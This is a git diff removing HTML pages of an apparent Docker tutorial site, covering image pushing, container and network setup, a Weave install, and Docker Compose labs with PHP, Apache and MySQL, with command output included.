- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TitleLink
1.Pre-requisit for this labLab
2.Docker Hello World ExampleLab
3.Docker Image Filtering
4.Images and Container As Tar fileLab
5.Push first Nginx Web app To DockerHubLab
6.Build a Base Image from ScratchLab
7.Dockerfile Lab - ADD instructionLab
8.Dockerfile Lab - COPY instructionLab
9.Dockerfile Lab - CMD instructionLab
10.Dockerfile Lab - Entrypoint instructionLab
11.Dockerfile Lab - WORKDIR instructionLab
12.Dockerfile Lab - RUN instructionLab
13.Dockerfile Lab - ARG instructionLab
14.Dockerfile Lab - Volume instructionLab
15.Dockerfile Lab - USER instructionLab
16.Dockerfile Lab - HEALTHCHECK instructionLab
17.Dockerfile Lab - ENV instructionLab
18.Dockerfile Lab - ONBUILD instructionLab
19.Running multiple docker containers from CLILab
20.Write First Docker Compose fileLab
21.Docker Compose with Volume MountLab
22.Build Own Dockerfile and Docker Compose with Custom configurationLab
23.Simple php apache and database using docker composeLab
24.Host Volume Mount - Data persistentenceLab
25.Named Volume Mount - Data persistentenceLab
26.Docker Compose CLI - Build CommandLab
27.Docker Compose CLI - Config CommandLab
28.Docker Compose CLI - CP CommandLab
29.Docker Compose CLI - Create CommandLab
30.Docker Compose CLI - Down CommandLab
31.Docker Compose CLI - Events CommandLab
32.Docker Compose CLI - Exec CommandLab
33.Docker Compose CLI - Images CommandLab
34.Docker Compose CLI - Kill CommandLab
35.Docker Compose CLI - logs CommandLab
36.Docker Compose CLI - ls CommandLab
37.Docker Compose CLI - Pause/unpause CommandLab
38.Docker Compose CLI - Port CommandLab
39.Docker Compose CLI - ps CommandLab
40.Docker Compose CLI - pull CommandLab
41.Docker Compose CLI - push CommandLab
42.Docker Compose CLI - restart CommandLab
43.Docker Compose CLI - rm CommandLab
44.Docker Compose CLI - run CommandLab
45.Setup local networkLab
46.Setup Remote networkLab
48.Newtorking in Docker ComposeLab
49.Newtorking in Docker Compose with ngnixLab
50.Docker Wordpress ExampleLab
-

Todo List

-
    -
  1. -
  2. -
  3. -
-

What next

- - -
- - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/pre-requisit-for-this-lab/index.html b/public/docker/pre-requisit-for-this-lab/index.html deleted file mode 100644 index ae18f2a..0000000 --- a/public/docker/pre-requisit-for-this-lab/index.html +++ /dev/null @@ -1,732 +0,0 @@ - - - - - - - - -Pre-requisit for this lab · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Pre-requisit for this lab

-
-
- - -
-

Here are the steps to create a Docker Hub account:

-
-
    -
  1. -

    Go to https://hub.docker.com/signup and click on the “Sign Up” button. -

    -
  2. -
  3. -

    Fill out the registration form with your name, email address, and password. -

    -
  4. -
  5. -

    Agree to the terms of service and privacy policy by checking the box. -

    -
  6. -
  7. -

    Click on the “Sign Up” button to complete the registration process. -

    -
  8. -
  9. -

    You will receive a verification email from Docker Hub. Follow the link in the email to verify your email address. -

    -
  10. -
  11. -

    Once your email address is verified, you can log in to Docker Hub using your email address and password. -

    -
  12. -
-

You can now create and manage your repositories, and upload your Docker images to share with the community. -That’s it! You now have a Docker Hub account and you can start using it to store, share, and distribute your Docker images.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/push-first-nginx-web-app-to-dockerhub/index.html b/public/docker/push-first-nginx-web-app-to-dockerhub/index.html deleted file mode 100644 index e50cab0..0000000 --- a/public/docker/push-first-nginx-web-app-to-dockerhub/index.html +++ /dev/null @@ -1,816 +0,0 @@ - - - - - - - - -Push first Nginx Web app To DockerHub · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Push first Nginx Web app To DockerHub

-
-
- - -

Pull nginx image from dockerhub using

-
dockerworkshop git:(main) ✗ docker pull nginx
-Using default tag: latest
-latest: Pulling from library/nginx
-Digest: sha256:6650513efd1d27c1f8a5351cbd33edf85cc7e0d9d0fcb4ffb23d8fa89b601ba8
-Status: Image is up to date for nginx:latest
-docker.io/library/nginx:latest
-

Run Docker with ngnix

-
 dockerworkshop git:(main) ✗ docker run --name docker-nginx -p 80:80 -d nginx
-63258aebdc2d8ea40a0099efb3e51f8b15db2fe2dc048da3901843b4782d19fb
-

–name docker-nginx : Name given to the container that is run is docker-nginx-p 80:80 : the port we are exposing and mapping from local machine port number to that of container, in the format local_machine_port:container_port-d : Detached mode – Runs the container in background

-

check all running docker containers

-
➜  dockerworkshop git:(main) ✗ docker ps
-CONTAINER ID   IMAGE                       COMMAND                  CREATED          STATUS          PORTS                NAMES
-63258aebdc2d   nginx                       "/docker-entrypoint.…"   55 seconds ago   Up 55 seconds   0.0.0.0:80->80/tcp   docker-nginx
-

open localhost with specific port

-

-

Include a static Web Application in the Docker with NGINX

-

To include our static Web Application into the Docker Image with NGINX, we shall create a Dockerfile (including commands to build image) and an html file with name index.html (acting as our web application) in a directory named nginx-app.

-

create dockerfile with following content :

-

-FROM nginx
-COPY . /usr/share/nginx/html
-

create index.html file with following content

-

-<html>
-  <head>
-    <title>Docker NGINX Tutorial</title>
-  </head>
-  <body>
-    <h1>Join CloudNativeFolks Community</h1>
-    <p>Learn to Dockerize with NGINX and your web application.</p>
-    <a href=" https://discord.com/invite/9ERSnT7 ">Join Discord </a>
-    <a href=" ">NGINX Tutorial</a>
-  </body>
-</html>
-

Build Dockerfile

-
Dockerfile git:(main) ✗ docker build -t nginx-application -f dockerfile.ngnix .
-[+] Building 0.1s (7/7) FINISHED                                                                                                                                                                  
- => [internal] load build definition from dockerfile.ngnix                                                                                                                                   0.0s
- => => transferring dockerfile: 87B                                                                                                                                                          0.0s
- => [internal] load .dockerignore                                                                                                                                                            0.0s
- => => transferring context: 2B                                                                                                                                                              0.0s
- => [internal] load metadata for docker.io/library/nginx:latest                                                                                                                              0.0s
- => [internal] load build context                                                                                                                                                            0.0s
- => => transferring context: 82B                                                                                                                                                             0.0s
- => [1/2] FROM docker.io/library/nginx                                                                                                                                                       0.0s
- => [2/2] COPY . /usr/share/nginx/html                                                                                                                                                       0.0s
- => exporting to image                                                                                                                                                                       0.0s
- => => exporting layers                                                                                                                                                                      0.0s
- => => writing image sha256:54027a144afd33ddd1449b757581c7b554d5411c4b2bac291f5dfbccb85fda41                                                                                                 0.0s
- => => naming to docker.io/library/nginx-application                                                                                                                                         0.0s
-➜  Dockerfile git:(main) ✗ 
-

run updated ngnix webapp

-
docker run --name docker-nginx-app  -p 80:80 -d nginx-application
-

List docker images

-
Dockerfile git:(main) ✗ docker images
-REPOSITORY                                                TAG                                                                          IMAGE ID       CREATED         SIZE
-nginx-application                                         latest                                                                       e8742ef897ea   2 minutes ago   135MB
-

Tag Docker Images

-
docker tag nginx-application  sangam14/nginx-application 
-

Login into Your DockerHub Account

-
docker login 
-docker push sangam14/nginx-application  
-Using default tag: latest
-The push refers to repository [docker.io/sangam14/nginx-application]
-4e9e8987d0ed: Pushed 
-7a99131e1da4: Mounted from library/nginx 
-c61a83b92ad9: Mounted from library/nginx 
-0d96feb871c8: Mounted from library/nginx 
-902b28ccafe7: Mounted from library/nginx 
-3063fc92629d: Mounted from library/nginx 
-a49c6ceb5b3a: Mounted from library/nginx 
-latest: digest: sha256:09f29db6e4179bd1019a48d2d50944989347fdf145193f4165353d5148a902c8 size: 1777
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/running-multiple-docker-containers-from-cli/index.html b/public/docker/running-multiple-docker-containers-from-cli/index.html deleted file mode 100644 index c42c8a0..0000000 --- a/public/docker/running-multiple-docker-containers-from-cli/index.html +++ /dev/null @@ -1,878 +0,0 @@ - - - - - - - - -Running multiple docker containers from CLI · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Running multiple docker containers from CLI

-
-
- - -

We will create two containers (linux1, linux2) based on the same image (ubuntu)

-
docker run -it -d --rm --name linux1 ubuntu /bin/bash
-

additional flags: --dstarts the container as “detached”. Use “docker attach” to attach to it later on. ---rm cleans up the container after stopping. The container will be removed, basically the same as “docker rm container_identifier” after stopping the container. So everything is kept tidy. ---name will give the container a dedicated name, which makes it easier to address the container later on.

-

Creates container “linux2”

-
docker run -it -d --rm --name linux2 ubuntu /bin/bash
-

Attaches to container linux1

-
> docker attach linux1
-

Creates a new directory on container linux1

-
> ls
-> mkdir mylinux1
-

Shows that “mylinux1” was created

-
> ls
-

Attaches to container linux2

-
>  docker attach linux2
-

Shows that the directory of linux2 is different than linux1, although they are both from the same image “ubuntu” -They are separated, they don’t share their file-system -The bash process is isolated in the container

-

-> ls
-
> exit
-

Shows only one container which is running, the other one got removed

-
>  docker ps -a
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/setup-local-network/index.html b/public/docker/setup-local-network/index.html deleted file mode 100644 index 6747e34..0000000 --- a/public/docker/setup-local-network/index.html +++ /dev/null @@ -1,1085 +0,0 @@ - - - - - - - - -Setup local network · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Setup local network

-
-
- - -

Docker network create command syntax

-
docker network create --help
-

view current networks

-
docker network ls
-clear
-

Create a new overlay network, with all default options

-
docker network create -d overlay defaults-over
-

Create a new overlay network with specific IP settings

-
docker network create -d overlay \
---subnet=172.30.0.0/24 \
---ip-range=172.30.0.0/28 \
---gateway=172.30.0.254 \
-specifics-over
-

view current networks again

-
docker network ls
-

Initial validation

-
docker network inspect specifics-over --format '{{json .IPAM.Config}}' | jq
-

clear

-

Create service tester1

-
docker service create --detach --replicas 3 --name tester1 \
---network specifics-over alpine tail -f /dev/null
-

Create service tester2

-
docker service create --detach --replicas 3 --name tester2 \
---network specifics-over alpine tail -f /dev/null
-

get the container names

-
docker container ls
-

From a container in the tester1 service ping the tester2 service by name

-
docker container exec -it tester1.3.<GET THE NAME> ping -c 3 tester2
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/setup-remote-network/index.html b/public/docker/setup-remote-network/index.html deleted file mode 100644 index 7e04b2a..0000000 --- a/public/docker/setup-remote-network/index.html +++ /dev/null @@ -1,1093 +0,0 @@ - - - - - - - - -Setup Remote network · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Setup Remote network

-
-
- - -

Docker network managment command

-
docker network --help
-clear
-

Starting on ubuntu-node01: Install and setup the weave driver

-
sudo curl -L git.io/weave -o /usr/local/bin/weave
-sudo chmod a+x /usr/local/bin/weave
-export CHECKPOINT_DISABLE=1
-weave launch
-eval $(weave env)
-

clear

-

Now on ubuntu-node02: Install and setup the weave driver

-
sudo curl -L git.io/weave -o /usr/local/bin/weave
-sudo chmod a+x /usr/local/bin/weave
-export CHECKPOINT_DISABLE=1
-weave launch
-eval $(weave env)
-

clear

-

Now, back on ubuntu-node01:Bring node02 in as a peer on node01’s weave network

-
weave connect ubuntu-node02
-

Starting with ubuntu-node01:Run a container detached on node01

-
docker container run -d --name app01 alpine tail -f /dev/null
-

Now, launch a container on ubuntu-node02: Run a container detached on node02

-
docker container run -d --name app02 alpine tail -f /dev/null
-

Since we are on node02, we will check there first…

-

From inside the app02 container running on node02,

-

let’s ping the app01 container running on node01

-
docker container exec -it app02 ping -c 4 app01
-

Similarly, from inside the app01 container running on node01,

-

let’s ping the app02 container running on node02

-
docker container exec -it app01 ping -c 4 app02
-

clear

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/simple-php-apache-and-database-using-docker-compose/index.html b/public/docker/simple-php-apache-and-database-using-docker-compose/index.html deleted file mode 100644 index cac3ba2..0000000 --- a/public/docker/simple-php-apache-and-database-using-docker-compose/index.html +++ /dev/null @@ -1,1062 +0,0 @@ - - - - - - - - -Simple php apache and database using docker compose · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Simple php apache and database using docker compose

-
-
- - -

we will see detach form logs upon start and user multiservices in one docker container

-
version: '3'
-
-services:
-  phpapp:
-    build:
-      context: ./
-      dockerfile: Dockerfile
-    image: phpapp:123
-    ports:
-      - "8080:80"
-    volumes:
-      - "./:/var/www/html"
-    container_name: myphpapp-app
-
-  db:
-    image: mysql:5.7
-    restart: always
-    environment:
-      MYSQL_ROOT_PASSWORD: my!!!root!!!pw
-    container_name: myphpapp-db
-

here you see two services phpapp and myphpapp-app and image called phpapp with 123 tag

-

another service called db form mysql this container restarts always which means it crashes ? the it -restarts automatically !

-

upon start we set a password for the root user “my!!root!!pw” just fo demostrate

-

create dockerfile with following content

-

-FROM php:7.2-apache
-
-RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli
-

crete index.php with following content

-
<?php
-header("content-type: text");
-$host = "db"; //The hostname "db" from our docker-compose.yml file!!!
-$username = "root"; //We use the root user
-$pw = "my!!!root!!!pw"; //that's the password we set as environment variable
-
-$conn = new mysqli($host,$username,$pw);
-
-if ($conn->connect_errno > 0) {
-    echo $db->connect_error;
-} else {
-    echo "DB Connection successful\n\n";
-}
-

build docker compose

-
 docker-compose up --build
-[+] Building 22.7s (7/7) FINISHED                                          
- => [internal] load build definition from dockerfile                  0.0s
- => => transferring dockerfile: 126B                                  0.0s
- => [internal] load .dockerignore                                     0.0s
- => => transferring context: 2B                                       0.0s
- => [internal] load metadata for docker.io/library/php:apache-buster  2.6s
- => [1/2] FROM docker.io/library/php:apache-buster@sha256:386b6018bd  8.1s
- => => resolve docker.io/library/php:apache-buster@sha256:386b6018bd  0.0s
- => => sha256:4ba26e0fdc7f78867d9be8a223260f2d592c7be7bd 893B / 893B  0.6s
- => => sha256:224f38e513c9d90e092a021139f4859652f2981083 246B / 246B  0.5s
- => => sha256:652ab663764a1e05149b0df37b8389096be761 2.46kB / 2.46kB  0.5s
- => => sha256:fd3bc60f67a0da00904c6206528bdfa08ff9 11.36MB / 11.36MB  3.0s
- => => sha256:a30f4659f909420c63fc05831b6b4847a9cbd15932 491B / 491B  0.6s
- => => sha256:5387bfe59045447db1c94ed8d5fc84eb3803 12.38MB / 12.38MB  1.9s
- => => sha256:02fed234e9e5648116b0206ab71f67d6de466202ca 513B / 513B  0.5s
- => => sha256:0e3638958ff4f83d56ad9a11fc474f5af5e9336f3d 474B / 474B  1.4s
- => => sha256:38ce3c4babbe62c529e9a7e6e4de5ac72168 18.58MB / 18.58MB  2.0s
- => => sha256:573449e685b037ec25e2637d4fe3e19e09429f5521 269B / 269B  0.6s
- => => sha256:de58dc66c01f3c4357b62fc24dc75f3b14a3 70.37MB / 70.37MB  3.8s
- => => sha256:ed22f951ea44cd39f81544a2f0bf196ad60d 25.92MB / 25.92MB  1.9s
- => => sha256:f0071d92462e7f83ca38e778e6dff5c113712119e2 226B / 226B  0.6s
- => => extracting sha256:ed22f951ea44cd39f81544a2f0bf196ad60d13c1428  0.6s
- => => extracting sha256:f0071d92462e7f83ca38e778e6dff5c113712119e27  0.0s
- => => extracting sha256:de58dc66c01f3c4357b62fc24dc75f3b14a32bf650f  1.2s
- => => extracting sha256:573449e685b037ec25e2637d4fe3e19e09429f55213  0.0s
- => => extracting sha256:38ce3c4babbe62c529e9a7e6e4de5ac72168768d161  0.3s
- => => extracting sha256:0e3638958ff4f83d56ad9a11fc474f5af5e9336f3d2  0.0s
- => => extracting sha256:02fed234e9e5648116b0206ab71f67d6de466202ca2  0.0s
- => => extracting sha256:5387bfe59045447db1c94ed8d5fc84eb3803be624d8  0.1s
- => => extracting sha256:a30f4659f909420c63fc05831b6b4847a9cbd159320  0.0s
- => => extracting sha256:fd3bc60f67a0da00904c6206528bdfa08ff9515ce14  0.2s
- => => extracting sha256:652ab663764a1e05149b0df37b8389096be76171a21  0.0s
- => => extracting sha256:224f38e513c9d90e092a021139f4859652f2981083e  0.0s
- => => extracting sha256:4ba26e0fdc7f78867d9be8a223260f2d592c7be7bdb  0.0s
- => [2/2] RUN docker-php-ext-install mysqli && docker-php-ext-enable  7.8s
- => exporting to docker image format                                  4.2s
- => => exporting layers                                               0.0s
- => => exporting manifest sha256:a328dcabf983b4d59f41482a80e08861ee4  0.0s
- => => exporting config sha256:b38bdd1cd3eabf8ea442587b892d0a0d86e6d  0.0s
- => => sending tarball                                                4.1s
- => importing to docker                                               2.5s
-[+] Running 2/2
- ⠿ Container myphpapp-db   Created                                    0.0s
- ⠿ Container myphpapp-app  Recreated                                  0.3s
-Attaching to myphpapp-app, myphpapp-db
-myphpapp-db   | 2023-03-03 19:30:17+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.32-1.el8 started.
-myphpapp-app  | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.24.0.3. Set the 'ServerName' directive globally to suppress this message
-myphpapp-app  | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.24.0.3. Set the 'ServerName' directive globally to suppress this message
-myphpapp-app  | [Fri Mar 03 19:30:17.681041 2023] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.38 (Debian) PHP/8.2.3 configured -- resuming normal operations
-myphpapp-app  | [Fri Mar 03 19:30:17.681312 2023] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
-myphpapp-db   | 2023-03-03 19:30:17+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'
-myphpapp-db   | 2023-03-03 19:30:17+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.32-1.el8 started.
-myphpapp-db   | '/var/lib/mysql/mysql.sock' -> '/var/run/mysqld/mysqld.sock'
-myphpapp-db   | 2023-03-03T19:30:18.754320Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
-myphpapp-db   | 2023-03-03T19:30:18.756720Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.32) starting as process 1
-myphpapp-db   | 2023-03-03T19:30:18.764513Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
-myphpapp-db   | 2023-03-03T19:30:19.043718Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
-myphpapp-db   | 2023-03-03T19:30:19.237016Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
-myphpapp-db   | 2023-03-03T19:30:19.237069Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.
-myphpapp-db   | 2023-03-03T19:30:19.238922Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory.
-myphpapp-db   | 2023-03-03T19:30:19.258982Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.32'  socket: '/var/run/mysqld/mysqld.sock'  port: 3306  MySQL Community Server - GPL.
-myphpapp-db   | 2023-03-03T19:30:19.259341Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '::' port: 33060, socket: /var/run/mysqld/mysqlx.sock
-myphpapp-app  | 172.24.0.1 - - [03/Mar/2023:19:30:35 +0000] "GET / HTTP/1.1" 200 235 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
-

open browser

-

http://localhost:8080

-

if you see out put as DB Connection successful

-

cheers !

-

lets adda a query to select the existing database on the mariaDB server extend your index.php

-
<?php
-header("content-type: text");
-$host = "db"; //The hostname "db" from our docker-compose.yml file
-$username = "root"; //We use the root user
-$pw = "my!!!root!!!pw"; //that's the password we set as environment variable
-
-$conn = new mysqli($host,$username,$pw);
-
-if ($conn->connect_errno > 0) {
-    echo $db->connect_error;
-} else {
-    echo "DB Connection successful\n\n";
-
-    //we read out the content
-    $result=mysqli_query($conn,"SHOW DATABASES;");
-    while( $row = mysqli_fetch_row( $result ) ){
-        echo $row[0]."\n";
-    }
-}
-

rebuild your docker compose after updating your php file

-
4-DC-apache-database git:(main) ✗ docker-compose up --build
-[+] Building 4.0s (8/8) FINISHED                                                                                                                       
- => [internal] load build definition from dockerfile                                                                                              0.0s
- => => transferring dockerfile: 126B                                                                                                              0.0s
- => [internal] load .dockerignore                                                                                                                 0.0s
- => => transferring context: 2B                                                                                                                   0.0s
- => [internal] load metadata for docker.io/library/php:apache-buster                                                                              2.3s
- => [auth] library/php:pull token for registry-1.docker.io                                                                                        0.0s
- => [1/2] FROM docker.io/library/php:apache-buster@sha256:386b6018bd3f73fb8f0bda3d26f76f402c36a68ed9d061b00bd7c080ea1fc951                        0.0s
- => => resolve docker.io/library/php:apache-buster@sha256:386b6018bd3f73fb8f0bda3d26f76f402c36a68ed9d061b00bd7c080ea1fc951                        0.0s
- => CACHED [2/2] RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli                                                                0.0s
- => exporting to docker image format                                                                                                              1.6s
- => => exporting layers                                                                                                                           0.0s
- => => exporting manifest sha256:a328dcabf983b4d59f41482a80e08861ee4226b2fe131b13a87bae3ff9b86e9c                                                 0.0s
- => => exporting config sha256:b38bdd1cd3eabf8ea442587b892d0a0d86e6d54251e1724444208996488da8e6                                                   0.0s
- => => sending tarball                                                                                                                            1.6s
- => importing to docker                                                                                                                           0.1s
-[+] Running 2/0
- ⠿ Container myphpapp-app  Created                                                                                                                0.0s
- ⠿ Container myphpapp-db   Created                                                                                                                0.0s
-Attaching to myphpapp-app, myphpapp-db
-myphpapp-db   | 2023-03-03 19:34:00+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.32-1.el8 started.
-myphpapp-app  | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.24.0.3. Set the 'ServerName' directive globally to suppress this message
-myphpapp-app  | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.24.0.3. Set the 'ServerName' directive globally to suppress this message
-myphpapp-app  | [Fri Mar 03 19:34:00.799408 2023] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.38 (Debian) PHP/8.2.3 configured -- resuming normal operations
-myphpapp-app  | [Fri Mar 03 19:34:00.799469 2023] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
-myphpapp-db   | 2023-03-03 19:34:00+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'
-myphpapp-db   | 2023-03-03 19:34:00+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.32-1.el8 started.
-myphpapp-db   | '/var/lib/mysql/mysql.sock' -> '/var/run/mysqld/mysqld.sock'
-myphpapp-db   | 2023-03-03T19:34:01.423026Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
-myphpapp-db   | 2023-03-03T19:34:01.430139Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.32) starting as process 1
-myphpapp-db   | 2023-03-03T19:34:01.437649Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
-myphpapp-db   | 2023-03-03T19:34:01.524024Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
-myphpapp-db   | 2023-03-03T19:34:01.700495Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
-myphpapp-db   | 2023-03-03T19:34:01.700522Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.
-myphpapp-db   | 2023-03-03T19:34:01.701509Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory.
-myphpapp-db   | 2023-03-03T19:34:01.711706Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '::' port: 33060, socket: /var/run/mysqld/mysqlx.sock
-myphpapp-db   | 2023-03-03T19:34:01.711810Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.32'  socket: '/var/run/mysqld/mysqld.sock'  port: 3306  MySQL Community Server - GPL.
-myphpapp-app  | 172.24.0.1 - - [03/Mar/2023:19:34:12 +0000] "GET / HTTP/1.1" 200 283 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
-

open browser

-

http://localhost:8080

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/write-first-docker-compose-file/index.html b/public/docker/write-first-docker-compose-file/index.html deleted file mode 100644 index ccc2040..0000000 --- a/public/docker/write-first-docker-compose-file/index.html +++ /dev/null @@ -1,945 +0,0 @@ - - - - - - - - -Write First Docker Compose file · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Write First Docker Compose file

-
-
- - -

cat Dockerfile

-
FROM php:7.2-apache
-COPY index.php /var/www/html
-

add index.php file

-
<?php
-
-echo "hello world \n\n";
-

creat docker-compose.yaml

-
version: '3'
-services:
-  phpapp:
-    ports:
-      - "8080:80"
-    build:
-      context: ./
-      dockerfile: Dockerfile
-

to run docker compose

-

-docker compose up --build
-

output

-
 1-DC git:(main) ✗ docker compose up 
-[+] Building 21.2s (10/10) FINISHED                                                                                                                         
- => [internal] booting buildkit                                                                                                                        3.8s
- => => pulling image moby/buildkit:buildx-stable-1                                                                                                     2.8s
- => => creating container buildx_buildkit_great_brahmagupta0                                                                                           1.1s
- => [internal] load build definition from Dockerfile                                                                                                   0.0s
- => => transferring dockerfile: 85B                                                                                                                    0.0s
- => [internal] load .dockerignore                                                                                                                      0.0s
- => => transferring context: 2B                                                                                                                        0.0s
- => [internal] load metadata for docker.io/library/php:7.2-apache                                                                                      4.3s
- => [auth] library/php:pull token for registry-1.docker.io                                                                                             0.0s
- => [internal] load build context                                                                                                                      0.0s
- => => transferring context: 67B                                                                                                                       0.0s
- => [1/2] FROM docker.io/library/php:7.2-apache@sha256:4dc0f0115acf8c2f0df69295ae822e49f5ad5fe849725847f15aa0e5802b55f8                                8.3s
- => => resolve docker.io/library/php:7.2-apache@sha256:4dc0f0115acf8c2f0df69295ae822e49f5ad5fe849725847f15aa0e5802b55f8                                0.0s
- => => sha256:9639d8c8cc76eb6501b4135a054c1a85bd7397db1010d043bcc03d32bf6d79b6 895B / 895B                                                             0.5s
